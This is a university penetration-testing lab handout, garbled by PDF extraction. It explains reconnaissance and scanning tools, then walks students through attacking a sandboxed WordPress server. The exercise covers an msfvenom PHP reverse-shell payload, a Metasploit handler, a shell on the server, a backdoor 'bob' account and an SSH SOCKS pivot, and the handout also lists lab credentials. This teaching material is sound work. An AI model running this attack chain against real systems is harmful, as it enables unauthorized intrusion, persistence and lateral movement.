Penetration Testing Lab PDF

Penetration Testing Lab 3/25/20, 5:21 PM
Penetra!on Tes!ng Lab

Directions
Directions: This lab has two appendices. Sec!on 1 introduces you to several tools. Sec!on 2 walks you through using these
tools to conduct a full scope penetra!on test (or a"ack) on the lab network. Review Sec!on 1 to gain an understanding of the
tools used for penetra!on tes!ng (Pentes!ng), and then complete all the steps in Sec!on 2.
In Sec!on 2, you will be using Kali Linux virtual machine to gain an understanding of a network by using it as an a"acking
machine to launch selected a"acks against the network. Based on the steps you perform, you will need to capture evidence
and write a Penetra!on Tes!ng Report (review the reference !tled Pentest Report on how to write this report). You will report
your findings to your organiza!onal leadership by discussing informa!on about the network, along with the iden!fied
vulnerabili!es, and providing your recommenda!on to address the vulnerabili!es.
In Sec!on 1, you will need to answer ques!ons that require the use of the internet. Since the lab VMs are within a closed
network (meaning no direct connec!on to the Internet), you will need to use your Workspace or personal computer to answer
those ques!ons.
Goal of the Lab Exercise

A#er performing this lab, you should be able to evaluate the security of a network or an IT infrastructure by exploi!ng
iden!fied vulnerabili!es and wri!ng a penetra!on tes!ng report for the leadership of the organiza!on. These vulnerabili!es
may be such things as flaws in opera!ng systems, services and applica!on, improper configura!ons, or inappropriate end-user
behavior. As part of these lab exercises, you will be required to use some of the tools on the Kali Linux VM, which has been
preinstalled for you in your virtual lab environment.
Introduc!on to Penetra!on Tes!ng Tools

In other courses, you have learned how to use Nessus and Nmap. In this lab, you will learn to use a set of tools used by
pentesters and hackers to learn about systems, as well as learn how to a"ack these systems.
Lab Resources
Access Instruc!ons:
To access the lab environment, use the “UMUC Digital Labs” document, which contains instruc!ons for both the lab setup
and other details rela!ng to the UMUC virtual lab environment.
Creden!als for all Lab VMs:
Username: StudentFirst
Password: Cyb3rl@b
Table: Types of VMs in this Lab
VM # OS Type VM Name
https://content.umuc.edu/file/86d36d98-d23a-4001-ac03-91ab25dd1b47/2/Project1Workspace(2).html Page 1 of 47
VM # OS Type VM Name
VM1 Linux NIXATK01(Kali Linux)
VM2 Linux NIXTGT01(CentOS) [Web Server 1>www.acme.com (h"p://www.acme.com/) ]
VM3 Linux NIXTGT02(CentOS) [Web Server 2>www.hr.acme.com (h"p://www.hr.acme.com/) ]
VM4 Windows WINATK01
VM5 Windows WINTGT01
Lab Reference Informa!on

Metasploit Tutorial
h"p://www.youtube.com/watch?v=cnkLv_RE3EI (h"p://www.youtube.com/watch?v=cnkLv_RE3EI)
h"p://www.youtube.com/watch?v=TCPyoWHy4eA (h"p://www.youtube.com/watch?v=TCPyoWHy4eA)
Msfvenom Tutorial
h"ps://www.youtube.com/watch?v=CtVH0MCv3DI (h"p://www.youtube.com/watch?v=CtVH0MCv3DI)
h"ps://www.youtube.com/watch?v=ugHJMnI_C_E (h"p://www.youtube.com/watch?v=ugHJMnI_C_E)
Pentest Report
h"p://www.pentest-standard.org/index.php/Repor!ng (h"p://www.pentest-standard.org/index.php/Repor!ng)
Weevely
h"ps://github.com/epinna/weevely3/wiki/Install-and-first-run (h"ps://github.com/epinna/weevely3/wiki/Install-and-first-
run)
Sec!on 1: Pentes!ng Phases and Tools

In this appendix, you will learn the different phases of Penetra!on Tes!ng and gain an understanding of each tool used in these
phases to enable you to successfully perform the step by step lab instruc!ons in Sec!on 2. The tools needed for this lab are
preinstalled on the NIXATK01 (Kali Linux) Lab VM.
Use the following creden!als to login to the NIXATK01 VM:
Password: Cyb3rl@b
Successful Network Penetra!on

There are five phases to having a successful network penetra!on, as shown below (and detailed further in this lab):
Phase 1 Reconnaissance
Phase 1 Reconnaissance
Phase 2 Scanning
Phase 3 A"ack and Gaining Access Phase 4 Maintaining Access
Phase 5 Covering Tracks
Phase 1: Reconnaissance
During this phase, you can make use of any computer with internet access including your workspace VM. You will not use any
of the lab VMs. The first phase of Pentes!ng is the reconnaissance, which is used to find everything you can learn about the
target. Normally, you will use Google and other search engines to learn about the target. In addi!on to search engines, you
should also use Internet tools such as whois or other similar tools to look up domains and to collect informa!on. You must
catalog all the informa!on you collect. Below, you’ll see examples of informa!on search using Google (which can be done on
your own desktop).
Google
There are many ways to search company-specific informa!on on the web. This can be completed with the use of search
engines such as Google, Bing, or Yahoo. Each of these search engines has advanced search op!ons that can be used to search
for files, words, and other details about a target company. For this exercise, you will use Google and its advanced search
op!ons. Follow the steps below to collect informa!on about UMUC.
Step-by-Step Instruc!ons
1. Start with a basic search for a specific site. This is completed with the search term of “site:” followed by the name of the
website. The following shows a search that targets umuc.edu. For example, using Google, type the following in the search
box:
site:umuc.edu
2. The next search opera!on will look for any text that is found within the URL of a website. This search operator is
performed with adding “inurl:” to the search string. For this search, you will look for all pages that contain cybersecurity
within the URL. For example, using Google, type the following in the search box:
site:umuc.edu inurl:cybersecurity
3. The next search will look for the file types that can be found on a web server. This search is done with the use of the
command “filetype:” followed by the file extension. For example, using Google, type the following in the search box:
site:umuc.edu filetype:pdf
4. The next search will look for text that is found on a web page. This search is done with the command of “intext:” followed
by the text to search for. For example, using Google, type the following in the search box:
site:umuc.edu intext:cyber security
5. Outside of using these high-level search commands, you can also combine the advanced searches. Next, you will combine
the use of “intext” and “filetype.” For example, using Google, type the following in the search box:
site:umuc.edu filetype:pdf intext:cyber security
Lab Ques!ons
Using the tutorial above, respond to the following ques!ons (and put in your lab report):
1. Perform three advanced searches, state what you were searching for, and then take a screenshot of each search.
2. For each of the searches, why did the results change? How can you combine the searches to narrow the results?
3. How can the search techniques above be used by both black and white hathackers?
4. What type of informa!on would you look for when performing informa!on gathering?
5. What is the difference between ac!ve reconnaissance and passive reconnaissance?
6. Research two other search engines and provide the details to conduct the same type of informa!on gathering. Provide the
search results, what you searched for, and a screenshot.
7. You were conduc!ng informa!on gathering of a company website; however, no search engine provided any details. A#er
reviewing the website, you saw an email address with a different domain than that of the website. How can this beused?
Phase 2: Scanning
The second phase of a penetra!on tes!ng is scanning. This is when you use scanning tools such as dirb, Nmap, Nikto, and
others to collect addi!onal useful informa!on. The scanning phase will help you to iden!fy IP addresses, ports, opera!ng
systems, plugins, and other details. Some of the tools that we will be using in this sec!on are:
Dirb – Is a Web Content Scanner.

Nikto – Is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for mul!ple
items.
Wpscan – Is a black box WordPress vulnerability scanner.
Nmap – Is a Security Scanner, Port Scanner, & Network Explora!on Tool.
Burp Suite – Is a graphical tool for tes!ng Web applica!on security.
dirb
The first tool in your arsenal is dirb. This tool is used to iden!fy both known and unknown directories of a website. The tool
uses a file called a wordlist to ini!ate web requests to a website in order to iden!fy its directories. Dirb is used by both black
hat and white hat hackers.
To be"er understand the flags and arguments found in dirb and other tools, you should always start by looking at the help
informa!on provided by the tool. To view the dirb help informa!on with Kali Linux, open the terminal and enter “dirb” at the
command prompt. Review the output to familiarize yourself with the tool.
The dirb help is broken down into four different sec!ons: NOTES, HOTKEYS, OPTIONS, and EXAMPLES. The NOTES sec!on of
the help file refers to the content above it. This explains how to provide the commands to dirb. HOTKEYS are used to perform
different ac!ons during a scan. Op!ons are used to tell dirb to try different op!ons during a scan. The EXAMPLES sec!on
provides examples of how to write the commands. The screenshot below shows the command which was used to view the
help informa!on and a small sec!on of theoutput:
Please review the flags or op!ons described within the output of the dirb command.
-a op!on
The first op!on on the list is –a. This is used to change the user agent string. The user agent string is a set of data that tells the
server what type of system requested the informa!on. Depending on the browser you use, you may see different user agent
strings. However, the point of this op!on is to mask the use of dirb and to make it appear as a browser requested the content.
-c op!on
The next op!on on the list is the cookie string. The cookie string can be used for a few reasons. The informa!on could have
been collected with the use of cross-site scrip!ng, or provided by the client.
-i op!on
The next op!on is case insensi!vity. This op!on tells dirb to try more requests based on possible character case. For example,
The next op!on is case insensi!vity. This op!on tells dirb to try more requests based on possible character case. For example,
if your wordlist is only in lowercase, the scan may not return a result for uppercase le"ers. The same can be said about the
other way around.
-r and -R op!ons
The next set of op!ons is recursive scans. The -r op!on is used to tell dirb to not scan or rather enter new directories.
However, -R tells dirb to scan the new directories but to ask before entering new directories.
-X op!on
The last op!on we will review is the -X op!on. This op!on is used to define extensions to also add to the scan. What happens
is that dirb will take the wordlist and add the extensions to the end of those words.
The dirb help shows four different parts needed for the command to execute. The first part, dirb, is the text used to start dirb.
The next part, <url_base>, is the URL that is being brute-forced. The next part is the wordlist to use for the scan. For the
wordlist op!on to work, you need to provide the directory loca!on of the wordlist file. These op!ons were explained earlier.
With dirb, you can also run default scans. The default scans revert to a default se%ng, which tells dirb to use a common
wordlist and to automa!cally enter new directories. The basic or default scan is provided to dirb in the wordlist or other
op!ons. The basic op!on is the one mostly used in the dirb scans. The following is an example of the command:
Note: Site_to_test.com is a place holder for the actual website, so you need to change this to the real and specific websites
against which you will be tes!ng.
dirb_h"p://site_to_test.com
Nikto
Nikto is a web applica!on vulnerability scanner used to iden!fy vulnerabili!es of websites, and web applica!ons. Like dirb,
Nikto has its own set of flags and these flags can be reviewed by providing the -help flag. The next image shows the full list of
the help commands:
Like dirb, these flags are used by Nikto to perform different func!ons. However, the main difference when you review the help
content of Nikto are the flags that contain a plus symbol. These plus symbols designate addi!onal values needed for each flag.
content of Nikto are the flags that contain a plus symbol. These plus symbols designate addi!onal values needed for each flag.
We will now review each of the flags.
-Display+ - This flag allows to define the following op!ons:
1 - Show redirects: This op!on tells Nikto to show when the web server has a redirect to some other loca!on.
2 - Show cookies received: This op!on tells Nikto to show the cookies used by the web server.
3 - Show all 200/OK responses: This op!on tells Nikto to show all 200 response codes from the web server.
4 - Show URLs which require authen!ca!on: This op!on tells Nikto to show all URLs that contain an authen!ca!on for
the web server.
D - Debug Output: This op!on shows the data that is sent to the web server.
E - Display all HTTP errors: This op!on shows all HTTP-based error messages and codes.
P - Print progress to STDOUT: This op!on shows the status while Nikto is running the scan.
V - Verbose Output: This op!on shows or lists everything that Nikto is doing while it is scanning the web server.
To add this op!on, you would type this within the terminal:
nikto -h 10.0.0.0 -Display [value]
-Format+ - This op!on tells Nikto which file format to use during the output of the results
nikto -h 10.0.0.0 -Format txt
-Help - Shows the help file for Nikto.

-host - The target system to scan. This can be listed as a IP address or hostname.
-root+ - this op!on tells Nikto to start scanning at the defined directory. To learn more about the op!ons, you can review the
link below:
h"ps://cirt.net/nikto2-docs/op!ons.html (h"ps://cirt.net/nikto2-docs/op!ons.html)
The following command shows you how to run a Nikto scan.
nikto -h 10.0.250.200
While Nikto is running, you will see the following within the terminal:
WPScan
The next tool you will examine is WPScan. This tool is used for scanning WordPress websites. You need to familiar yourself
with the command op!ons. Below is the command to access the tool:
Wpscan --url h"p://ipaddress (h"p://ipaddress/)
Nmap
Nmap is a security scanner that is used to discover hosts and services on a computer network. Based on network condi!ons, it
sends out packets with specific informa!on to the target host device and then evaluates the responses. To hack into a
computer system, an a"acker must target a machine and iden!fy which ports on which the machine is listening. The a"acker
can sweep networks and locate vulnerable targets using scanners such as Nmap. Nmap also uses TCP stack fingerprin!ng to
accurately determine the type of system being scanned.
How to use Nmap

The syntax of Nmap commands is fairly simple. Op!ons to ‘nmap’ on the command-line are different types of scans that are
specified with the -s flag. A ping scan, for example, is "-sP". Op!ons are then specified, followed by the hosts or networks to be
targeted.
Nmap is flexible in specifying targets. Simply scan one host or scan en!re networks by poin!ng Nmap to the network address
with a CIDR "prefix/mask" appended to it. In addi!on, Nmap will allow you to specify networks with wild cards, such as
192.168.10.*, which is the same as 192.168.10.0/24. For example, in our case, we can indicate the range of target hosts as
follows:
192.168.10.103-106
Using Ping Sweeping to see which hosts are up

Intruders can sweep en!re networks to locate targets with Nmap. This is usually done with a ping scan by using the "-sP" flag.
By default, Nmap will send an ICMP echo and a TCP ACK to each host it scans. Hosts that respond to either will be considered
by Nmap to be up. In this example, you could scan all hosts on the 192.168.10.0 network.
# sudo nmap -sP 192.168.10.*
Both Zenmap, the official Nmap Graphical User Interface (GUI), and the Nmap command-line interface (CLI) will allow you to
enter this command and run the scan. Some!mes you may merely want to check the availability of a system without sending
ICMP echo requests, which may be blocked by some sites. In this case, a TCP "ping" sweep can be used to scan a target's
network. A TCP "ping" will send an ACK to each machine on a target network. Machines that are up should respond with a TCP
RST. To use the TCP "ping" op!on with a ping scan, include the "-PT" flag to target a specific port on the network you're
probing. In our example, we'll use port 80 (h"p), which is the default, and it will probably be allowed through the target's
border routers and possibly even its firewall.
Note that the targeted port does not need to be open on the hosts that are being probed to determine if the machine is up or
not. We launch this type of scan as follows:
# sudo nmap -sP -PT80 192.168.10.*
When a poten!al intruder knows which machines on the target's network are alive, typically the next step is port scanning.
Port Scanning to Uncover Any Available (Vulnerable) Services

Different types of port scans are provided by Nmap: TCP connect, TCP SYN, Stealth FIN, Xmas Tree, and Null, as well as UDP
scans.
TCP Connect
When an a"acker is using TCP connect scans, Nmap will use the connect () system call to open connec!ons to interes!ng
ports on the target host and complete the three-way TCP handshake. The probe is easily detected by the target host. Logs on
the host machine will show these ports being opened by the a"acker. A TCP connect scan is used with the "-sT"flag as:
# sudo nmap -sT 192.168.10.103-106
Stealth Scanning
What if an a"acker wants to scan a host without being logged on the target machine? TCP SYN scans are less prone to logging
on the target's machine, because a full handshake never completes. A SYN scan starts by sending a SYN packet, which is the
first packet in TCP nego!a!on (three-way handshake). Any open port will respond with a SYN|ACK, as they should. However,
the a"acker sends a RST instead of an ACK, which terminates the connec!on. The advantage is that the three-way handshake
never completes, and fewer sites will log this type of probe. Ports that are closed will respond to the ini!al SYN with a RST,
allowing Nmap to determine that the host isn't listening on that port. This command might require root privileges, which could
be obtained by trying "sudo" command at the knoppix prompt. The "-sS" flag will launch a SYN scan against a host or network
as:
# sudo nmap -sS 192.168.10.103-106
Although SYN scans are more likely to be unno!ced, they can s!ll be detected by some intrusion detec!on countermeasures.
The Stealth FIN, Xmas Tree, and Null scans are used to evade packet filters and firewalls that may be watching for SYN packets
directed toward restricted ports. These three scans should return a RST for closed ports, whereas open ports should drop the
packet. A FIN "-sF" scan will send a FIN packet to each port, whereas the Xmas Tree scan "-sX" turns on the FIN, URG, and
PUSH flags, and a Null scan "-sN" turns off all flags. Because of Microso"'s noncompliance with TCP standards, the FIN, Xmas
Tree, and Null scans are only effec!ve on non-Microso" opera!ng systems.
UDP Scanning
Using the UDP scan "-sU", an a"acker can determine what ports are open to UDP on a host. Nmap will send a 0-byte UDP
packet to each port. If the host returns a "port unreachable" message, that port is considered closed. This method can be !me-
consuming because most UNIX hosts limit the rate of ICMP errors. Fortunately, Nmap detects this rate and slows itself down,
so not to overflow the target with messages that would have been ignored. Launch a UDP scan as follows:
# sudo nmap -sU 192.168.10.103, 192.168.10.105, 192.168.10.106
OS Fingerprin!ng
O#en, an intruder may be more familiar with exploits for a par!cular opera!ng system and may be looking for machines to
compromise easily. OS fingerprin!ng is used to determine which OS is running on the host. A common op!on is TCP/IP
fingerprin!ng with the "-O" op!on to determine the remote opera!ng system. This has to be combined with a port scan and
not a ping scan. Nmap accomplishes this by sending different types of probes to the host, which can narrow the target
opera!ng system. Fingerprin!ng the TCP stack includes such techniques as FIN probing to see what kind of response the
target has, BOGUS flag probing to see the remote host's reac!on to undefined flags sent with a SYN packet, TCP Ini!al
Sequence Number (ISN) sampling to find pa"erns of ISN numbers, as well as other methods of determining the remote
opera!ng system.
# sudo nmap -sS -O 192.168.10.103-106
The TCP Sequence Predic!on tells us how difficult TCP sequence number predic!on is for the remote host. This is valuable to
an a"acker looking for hosts that can be vulnerable to session hijacking.
Other Op!ons
-P0 Do not try to ping hosts at all before scanning them. Since Nmap will ping a target with both TCP "ping" and ICMP echo
before a"emp!ng a port scan, sites blocking ICMP and TCP probes will not be scanned by default.
"-v" This is verbose op!on that can be used with all types of scans. You can use this flag to get more informa!on about the
target's machine.
The ability to target specific ports is accomplished with the "-p " op!on. For instance, if an a"acker wanted to probe your web
server for #p (port 21), telnet (port 23), DNS name service (port 53), and h"p (port 80), and wanted to know the OS you were
using. The a"acker may try the SYN scan:
# sudo nmap -sS -p 21,23,53,80 -O -v 192.168.10.103
“-iR” Use this command to instruct nmap to scan random hosts.
For a complete list of the op!ons for Nmap, you can see the manual of the NMAP at h"p://www.insecure.org/nmap
(h"p://www.insecure.org/nmap) .
Quick Start of Nmap

Here are some examples of NMap commands used for specific scans:
Ping Sweeping
Icmp ping # sudo nmap -sP “host IP address”
tcp ping # sudo nmap -sP -PT80 “host IP address”
Port Scanning
TCP connect # sudo nmap -sT “host IP address”
Stealth scanning # sudo nmap -sS “host IP
address” UDP scanning # sudo nmap -sU “host IP
address” Stealth FIN # sudo nmap -sF “host IP address”
Xmas Tree # sudo nmap -sX “host IP address”
Null scan # sudo nmap -sN “host IP address”
OS Fingerprin!ng # sudo nmap -sS -O “host IP address”
Remember that all of the informa!on collected during the scanning phase needs to be recorded and saved. The first two
phases of an a"ack change how you will a"ack the network. A#er you collect the informa!on, you can use the Internet to
search for possible exploits. You can use different so#ware tools, and other data that would help you successfully conduct the
Pentes!ng.
Prior to star!ng the next phase, you will first develop an a"ack scenario. Ideally, you will recreate the target network in a
sandbox environment based on the collected informa!on. You will then test the a"ack scenario in the sandbox environment on
the modeled network. This is to avoid accidental security incidents such as Dos a"ack on your own network.
Burp Suite
Burp Suite is a unique tool, which can be used within many different areas of penetra!on tes!ng. The tool allows for scanning,
crawling, and proxying requests. There are two different versions of Burp Suite: paid and free. The free version does not have
scanning capabili!es, whereas the paid version does. The screenshot below shows the Burp Suite user interface.
Along the top of the screen, you will see 12 different tabs namely, Target, Proxy, Spider, Scanner, Intruder, Repeater, Decoder,
Comparer, Extender, Op!ons, and Alerts.
The Target tab - Under Target, you have two more bu"ons, Site Map and Scope. Site Map shows you the site map of hosts that
Burp Suite saw traffic for. Scope allows you to define which systems are in or out of scope.
The Proxy tab - The proxy part of Burp Suite allows you to capture traffic as it is leaving your host and modify the traffic as it is
going to the server. To use this part of Burp Suite, set your browser to use Burp Suite as a proxy.
Review and familiarize yourself with the remaining tabs
Phase 3: A"ack and Gaining Access

During this phase, you will a"empt to gain access to the network and its resources by exploi!ng vulnerabili!es that were
iden!fied in the previous phases. The main framework in Kali Linux used during this phase is Metasploit, which contains tools
or modules such as MSFVenom, exploit, payload, auxiliary, encoder, and meterpreter. It offers a great deal of techniques and a
variety of reconnaissance and post-exploita!on features available to aid in the penetra!on tes!ng.
An exploit is the means by which an a"acker takes advantage of a flaw within a system, an applica!on, a service, a network
device such as webserver. An a"acker uses an exploit to a"ack a system in a way that results in a compromise by running an
arbitrary payload when triggered by the vic!m. You can watch the videos from the links provided in the reference sec!on of
this document to learn more about the tools associated with Kali Linux.
Phases 4 & 5: Maintaining Access and Covering Tracks

The last two phases of an a"ack are Maintaining Access and Covering Tracks. Research both of these and write a paragraph
explaining what happens within these phases (as part of the lab report).
Sec!on 2: Step by Step Lab Instruc!ons

A#er gaining an understanding of the tools and techniques introduced to you in Sec!on 1, you will now use these tools and
techniques to perform the lab exercises. There are 7 parts to the lab. To successfully complete this lab, you must complete
each part carefully in succession due to the interdependencies of some of the parts in the labs. In other words, a current part
may depend on the previous ones as the lab progresses. Some parts have ques!ons that you will need to respond to. Always
take screenshots of important findings to complete the lab report and to document your lab experience. Note: If you are
prompted to enter a password for StudentFirst while doing the lab then enter the same password for StudentFirst as shown
below.
Log into Kali Linux with the following informa!on:
NIXATK01 (Kali)
Password: Cyb3rl@b
Part 1 – Cloning the Website

In this part of the lab you will conduct ac!ve recon of the network. To accomplish this, you will use the HTTrack tool within
Kali to clone the website to your a"ack machine, NIXATK01.
Step 1 – Crea!ng a folder for the website clone

Step 1 – Crea!ng a folder for the website clone
Before you clone the website, create a new folder on the Desktop of your a"ack VM, NIXATK01.
a. Right-click on an empty space of your VM’s desktop
b. Select “Create folder” from the menu.
c. Name the folder “website_clone” as seen in the screenshot below
Step 2 – Cloning the Website
The commands to clone the website will be performed in a terminal.
a. Open a new terminal.
Note: You can open it from two different loca!ons. The first loca!on is at the bo"om of the screen on the .
The second loca!on is from the Applica!on menu at the top le# of the screen. The icon looks the same as found within
the dock .
b. Change the current directory from /home/StudentFirst to

/home/StudentFirst/Desktop/website_clone using the following command.
$ cd Desktop/website_clone
c. Verify your current directory by using the following command:
$ pwd
d. Run the HTTrack tool to clone the website using the following command:
$ sudo h$rack h"p://www.acme.com (h"p://www.acme.com/)
Note: When you run the above command, you may see the following error message. If this happens, do not be alarmed;
this is normal within this environment.
Note: When you run the above command you have to enter the password for StudentFirst (Cyb3rl@b) but no characters
for it will show up on the screen when typing. It may seem like nothing is being entered, but the characters are being
entered.
See the figure below for the expected output of the httrack command:
A#er HTTrack has completed, go to the folder that you created on the desktop and open the index.html file (double click
on the index.html file, in the file system). You will see a website that displays the message, “You have gone to the wrong
loca!on”. This means that the website uses a different directory for the home directory.
Step 3 – Verify your clone
Next, open the browser and go to the www.acme.com website (h"p://www.acme.comwebsite/) . You should see the clone
of your original page. Now that the website is open, right-click on the webpage and select View page source. Do you see any
plain text message that resembles the warning message received above?
Part 2 – Scanning the first webserver (www.acme.com)

You will scan the first webserver (www.acme.com) with nmap, dirb, nikto and wpscan tools. During this scanning phase, you
will be ac!vely sending requests to the website. The first thing you will do is to scan the webserver with Nmap.
Step 1 – Scanning the first webserver with Nmap
a. Perform a port scan (in a terminal window) using the following command (Enter the password for StudentFirst (Cyb3rl@b)
if you are prompted to):
if you are prompted to):
$ sudo nmap -v -sSV -p 1-1024 www.acme.com (h"p://www.acme.com/)
Based on what you learned from the Nmap scan of the webserver, answer the following ques!ons:
What ports are listening?
What services did Nmap iden!fy?
Anything else of value?
Include your responses to these ques!ons in the final report.
Step 2 - Iden!fy the directories of the first webserver (www.acme.com) website by using the dirb tool.
a. Type the following command (in a terminal window) to scan the website with dirb (Enter the password for StudentFirst
(Cyb3rl@b), if you are prompted to):
$ sudo dirb h"p://www.acme.com (h"p://www.acme.com/)
The output is displayed as seen in the screenshots below
What directories and files were iden!fied by the dirb scan? Include your findings in the final report.
A#er iden!fying the directories of the webserver with the dirb scan, you next use Nikto to explore further.
Step 3 – Scanning webserver with Nikto
a. Type the following command (in a terminal window) to start the scan (Enter the password for StudentFirst (Cyb3rl@b) if
you are prompted to):
$ sudo nikto -h h"p://www.acme.com/wordpress (h"p://www.acme.com/wordpress)
The screenshots below show the output of the Nikto scan. Pay close a"en!on to the server informa!on (i.e. Target IP,
Hostname, Port used, type of server etc…).
A#er the Nikto scan has completed, address the following and include your answers in the final report.
1. Compare the Nmap and Nikto scan results while focusing on the port numbers reported by the two scans.
2. What are the cookies found on the website?
3. Select three different OSVDB found within the scan. Do a Google search for the three that you selected. Explain any
informa!on that you found about those OSVDBs.
4. Does Nikto show or list of plugins used by the webserver?

4. Does Nikto show or list of plugins used by the webserver?
5. What is the WordPress tool used for?
Now that you have determined that the webserver is running WordPress, use WPScan for further explora!on.
Step 4 - Scanning the webserver with WPScan
Run the following command (in a terminal window) to start the WPScan of the webserver (Enter the password for StudentFirst
(Cyb3rl@b) if you are prompted to):
$ sudo wpscan -uh$p://www.acme.com/wordpress
Note: WPScan will ask you if you want to update the scanner. Type N for no and hit Enter. The screenshot below displays the
“wpscan” scan results.
From the output of “WPScan” no!ce that each line item begins with a red, yellow, or green plus sign. Red plus signs mean that
the webserver has some vulnerabili!es. Review the details of each line item and answer the following ques!ons:
1. How many alerts and vulnerabili!es arethere?
2. What is the total number of red, yellow, and green items?
3. Do you see any vulnerabili!es that have a remote code execu!on or arbitrary file upload? Are there any other red alerts?
4. What is a remote code execu!on (RCE), and arbitrary file upload?
5. How is the vulnerability with the highest risk on the list exploited?
Include your answers in the final report.
Part 3 – Exploi!ng vulnerabili!es found in the network on first webserver
Now that you have iden!fied vulnerabili!es exis!ng on the webserver with the previous scans, you can begin exploi!ng the
network using some of these vulnerabili!es.
The WPScan revealed that WordPress has an “Arbitrary File Upload” vulnerability as seen in the screenshot below. You can
take advantage of this vulnerability to upload a malicious payload that will used to compromise the webserver.
In the steps that follow, you will create a listener on the Kali VM, upload a php shell to the webserver, and execute the shell to
compromise the webserver.
Step 1 – Crea!ng the shell
To create the shell, you will use msfvenom command for crea!ng the file (payload) that needs to be uploaded to the webserver
(MSFvenom command is a combina!on of Msfpayload and Msfencode, pu%ng both of these tools into a single Framework
instance. It will create a payload that will be used in a social engineering a"ack).
a. On your NIXATK01 a"acking machine (Kali VM), type the following command in terminal:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.10.101 LPORT=80 -e php/base64 -f raw >

/home/StudentFirst/Desktop/msfvenom.php
A#er successfully execu!ng the above command, you should get the following output:
Step 2 – Edi!ng the produced “msfvenom.php”file
You will edit the produced “msfvenom.php”file to add php open and php close tags at the start and the end of the file. This
make the “msfvenom.php” file a complete php file. Follow the steps below.
a. Right click on the “msfvenom.php” file on the desktop and select “Open with Leafpad”.
b. When the file opens in Leafpad, type <?php at the beginning and ?> at the end of thefile.
c. Save the file and close Leafpad window.
The content of the file a#er edi!ng is depicted in the screenshot below:
Step 3 – Uploading the file to the webserver
Using social engineering techniques, the a"acker deliver malicious code to poten!al vic!ms and coerce them into execu!ng
these codes on their local machines. Typically, social engineering a"acks u!lize delivery techniques, such as email, USB drives,
phone calls, or even visi!ng a physical loca!on onsite. For example, using an email, an a"acker can deliver malicious files and
other applica!ons containing executables codes that can be unknowingly installed by users by clicking on certain links in an
email, or launching certain applica!ons with embedded malicious code.
In this exercise, we will deliver the malicious code (msfvenom.php) to the webserver (the target machine) using the following
steps:
a. From the desktop of your NIXATK01 VM, double click and open the “Lab Resources” folder.
b. Double click and open the “Projects” folder
c. Click on the “Download Project resources” shortcut to get to the “CST630 Project Resources” page.
d. Under “Project 1”, click on WP Exploit [www.acme.com (h"p://www.acme.com/) ] to get to the uploadpage
e. Once, on the upload page, click on the “Browse...” bu"on and select the msfvenom.php file located on the desktop of your
VM.
f. A#er the file is selected from your desktop, click on the “upload!” bu"on.
g. When the file is successfully uploaded, you will see the following message displayed:
{"success":true,"fileName":"\/\/\/msfvenomtest.php"}
Step 4 – Verify file upload
A#er the file is uploaded, make sure you can see it within the directory lis!ng on the web server.
Note: The dirb scan showed a lis!ng of the upload directory.
a. Browse to the upload directory by using the following URL from your NIXATK01 VM: www.acme.com/wordpress/wp-
content/uploads (h"p://www.acme.com/wordpress/wp-content/uploads)
b. Verify that the msfvenom.php file is listed.
Step 5 – Se%ng up a listener on the a$acker machine, NIXATK01 VM
a. Open a terminal window and type the following command to open Metasploit:
$ sudo msfconsole
If prompted, enter the “StudentFirst” account password (Cyb3rl@b). A#er Metasploit has successfully loaded, you should
see a screenshot similar to the one below:
b. Enter the following commands (without the “msf >” prompt) to setup the handler:
msf > use exploit/mul!/handler
msf > set payload php/meterpreter/reverse_tcp
c. Verifying current configura!on a#er se%ng the payload by typing the following command:
msf > show op!ons
d. Type the following commands (without the “msf >” prompt) to set the LHOST and LPORT payload op!ons.
msf > set lhost 192.168.10.101
msf > set lport 80
e. Verifying updated configura!on by typing the following command: msf >
show op!ons
f. Now, start the handler. msf exploit(handler) > exploit
You will see the following in the terminal window. This will let you know that the listener has been created and Metasploit
is wai!ng for a call-back session from triggering the payload.
g. Go to the upload directory and click on the “php” file that you earlier uploaded to the webserver (in the web browser).
Note: A#er you click on the php file, you should get the call back to your handler to establish a meterpreter session as
shown in the screenshot below.
You will know that you have a call back when you see “Meterpreter session 1 opened” as seen in the screenshot above.
Step-6 – Verifying level of access and obtaining compromised system informa!on.
Now that you have the call back, run a few checks to see what level of access you have and obtain some system specific
informa!on.
a. Type the following commands to explore the meterpretersession:
sysinfo - lists system informa!on of the compromised host.
getuid - gets the current user details.
getpid - gets the process id of the meterpreter access.
ls - lists the files and folders on the target
ps - lists all the processes running at the target.
Note: Use the “help” command to get addi!onal informa!on about Core commands, File System Commands, Networking
Commands available to you once the meterpreter session is established.
b. Use shell command to drop your current meterpreter session into a system command shell.
meterpreter > shell
c. Check your current role using the “whoami” command
meterpreter > whoami
You should get an output similar to the screenshot below.

You should get an output similar to the screenshot below.
Note: The number of channels created (i.e. Channel 0 created, Channel 1 created…) as seen in the screenshots above is related
to how many !mes you use the shell command during the meterpreter session.
Part 4 – Maintaining access to the compromised system (First Webserver)

Now that you have gained access to the system, you need to do a few things to maintain that access. This will include crea!ng
a new user account, modifying configura!on files, and crea!ng backdoors to allow you to regain access to the system. In order
to accomplish these tasks, follow the steps below:
Step 1 - crea!ng an “anchor” user account
Create a user named bob and set the password to bob. This user account (“anchor” account) is used by the hacker to gain
addi!onal access, such as privileged escala!ons, and pivot different parts of the internal network.
a. In the current session window, type and enter the following command to create a user bob (a#er entering the below
command, enter the command in part b, without wai!ng for response from system, since there will be no response from
the system):
sudo adduser bob
b. Now, set the password for the user “bob” to bobpass with the following command:
sudo passwd bob
Note:
1. The above command tells the system to set the password for bob. A#er entering the command, you will be prompted to
provide the desired password; enter “bobpass” for the password and re-enter to confirm.
2. Please ignore the “BAD PASSWORD” for the purpose of thisexercise.
Now that you have a user account that you have full control over on the compromised system, you will use that system to
pivot to the next part of the network. The term pivo!ng is used when describing the act of leapfrogging from one host to
another. Hackers use pivo!ng to gain access to network segments when normal access is not allowed. To do this, you will use
SSH to create a SOCKS connec!on to the web server. The SOCKS protocol allows a client to make network connec!ons, and
exchange network packets between a client and a server, through a proxy.
The following will guide you through the steps of crea!ng this connec!on:
Step 2 – Crea!ng a socks proxy connec!on to webserver
You will now create a socks proxy connec!on to webserver using port 3434 on the NIXTGT01 VM (192.168.10.111).
a. Open a new terminal window and enter the following command:
sudo ssh -D 3434 bob@192.168.10.111
As you can see, the SSH connec!on a"empt to the webserver failed due to a permission denial error related to an
unrecognized cer!ficate. To bypass this requirement, you need to make configura!on changes to the sshd_config file on the
target webserver. In order to do this, you will download a copy of the sshd_config file, edit it, and overwrite the original on the
webserver.
